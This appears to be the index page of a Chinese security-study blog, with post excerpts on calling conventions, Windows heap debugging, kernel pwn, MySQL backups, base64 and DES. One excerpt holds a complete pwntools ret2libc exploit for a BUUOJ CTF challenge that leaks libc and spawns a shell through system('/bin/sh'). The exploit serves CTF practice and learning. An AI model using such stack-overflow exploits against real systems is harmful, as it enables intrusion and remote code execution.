0%

arm64与x86_64对比

x86_64的函数调用约定传参顺序为: rdi, rsi, rdx, rcx, r8, r9, 返回值放在rax里

arm64为: 参数1-8放在X0-X7寄存器,剩下参数从右往左依次进栈,被调用者实现栈平衡,返回值存放在X0

同样的类似于rax跟eax的关系, X0跟W0也有关系, X0

Read more »

windows堆调试环境配置

首先说明下环境,我的环境为:

win10物理机 + win7 虚拟机, 代理软件为某ray,

这里允许局域网连接

物理机ip为: 192.168.1.104

虚拟机网络连接方式为 nat

然后配置虚拟机的环境变量,系统变量

变量
_NT_SYMBOL_PATHcachec:\mysymbol;srvhttp://msdl.microsoft.com/download/symbols
_NT_SYMBOL_PROXYhttp://192.168.1.104:10809
Read more »

初探windows堆

环境配置好后便开始学习windows堆

堆块和堆表

摘抄自0day安全

堆块:出于性能的考虑,堆区的内存按不同大小组织成块,以堆块为单位进行标识,而不 是传统的按字节标识。一个堆块包括两个部分:块首和块身。块首是一个堆块头部的几个字节, 用来标识这个堆块自身的信息,例如,本块的大小、本块空闲还是占用等信息;块身是紧跟在 块首后面的部分,也是最终分配给用户使用的数据区。

Read more »

buuoj刷题

… exp打不成.. core dump什么操作, 不刷了..

rip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = 'node3.buuoj.cn'
port = 29940
context.log_level = 'debug'
#context.terminal = "/home/noone/hyperpwn/hyperpwn-client.sh"
context.terminal = ['mate-terminal','--geometry=94x60--10-26','--hide-menubar', '-x','sh','-c',]
exe = './rip'
context.binary = exe
elf = ELF(exe)
libc = elf.libc


#don't forget to change it
if local:
io = process(exe)
else:
io = remote(host,port)

s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline().strip()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s--> 0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
gdb.attach(io,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(io,"b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
try:
import subprocess
except Exception as e:
print("subprocess not install")
exit(0)
return map(int, subprocess.check_output(['one_gadget', '--raw', filename]).split(' '))



#===========================================================
# EXPLOIT GOES HERE
#===========================================================

# Arch: amd64-64-little
# RELRO: Partial RELRO
# Stack: No canary found
# NX: NX disabled
# PIE: No PIE (0x400000)
# RWX: Has RWX segments

def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

offset = 23
pop_rdi = 0x00000000004011fb
puts_plt = elf.plt['puts']
__libc_start_main_got = elf.got['__libc_start_main']
main_addr = elf.sym['main']
payload = flat([
"a"*offset,
pop_rdi,
__libc_start_main_got,
puts_plt,
main_addr
])
sl(payload)
ru("ok,bye!!!\n")
libc.address = uu64(r(6)) - libc.sym['__libc_start_main']
lg("libc", libc.address)
payload = flat([
"a"*offset,
pop_rdi,
libc.search("/bin/sh").next(),
libc.sym['system'],
main_addr
])
sl(payload)
#ga()
'''
try:
from LibcSearcher import *
except Exception as e:
print("LibcSearcher not install")
exit(0)
obj = LibcSearcher("fgets",leak_addr)
libc_base = leak_addr - obj.dump("fgets")
system_addr = libc_base + obj.dump("system")
malloc_hook = libc_base + obj.dump("__malloc_hook")
free_hook = libc_base + obj.dump("__free_hook")
bin_sh_addr = libc_base + obj.dump("str_bin_sh")
'''
ia()

if __name__ == '__main__':
exp(host,)
Read more »

linux 内核 pwn入门

最近把缺掉的知识一点一点补,面先补全了,然后在进行一方面的深入,涉及了下linux 内核 pwn部分的学习,本来想编写结构体大小生成的代码的,奈何储备知识不够,普通方法太麻烦,现在略过,到时候学会了在补上

找cred结构体大小

读源码

这种方法可以找到,太费力了

kuid跟kgid大小为

Read more »

mysql基础

mysql备份还原

备份

1
sudo mysqldump -uroot -proot --database mybatis > 1.sql

还原

1
sudo mysql -uroot -proot < 2.sql

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/8e40d0ad/
版权声明:转载请注明出处!

base64编码及其变种

最近空闲下来了,还是花点时间找点题目练练,base64在逆向中也很常见,不过都不是常规base64,今天花些时间来学习下base64以及其变种

编码原理:将3个字节转换成4个字节((3 X 8)=24=(4X6)),先读入3个字节,每读一个字节,左移8位,再右移四次,每次6位,这样就有4个字节了。
解码原理:将4个字节转换成3个字节,先读入4个6位(用或运算),每次左移6位,再右移3次,每次8位,这样就还原了

原文来自皮皮猪

Read more »

密码学基础

des

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python
from Crypto.Cipher import DES

key = 'Assassin'
flag = 'flag{teeeeeeest}'
obj = DES.new(key, DES.MODE_ECB)
enc = obj.encrypt(flag)
print list(enc)
plain = obj.decrypt(enc)
print plain
Read more »

1-中文分词算法

  1. 正向最大匹配法
  2. 逆向最大匹配法
  3. 双向最大匹配法

正向最大匹配法

这个顾名思义有 正向跟最大 两个词,步骤大概是

  1. 假定最大分词长度为maxlen, 则从被处理的当前字符串的前maxlen个字作为匹配字段,查找
  2. 若存在,则匹配成功,将当前字符串已匹配的去掉,将剩余字符串当成当前被处理字符串
  3. 若不存在,则将maxlen-1 ,当前被处理字符串的前maxlen-1个字作为匹配字段
  4. 重复循环2,3步
Read more »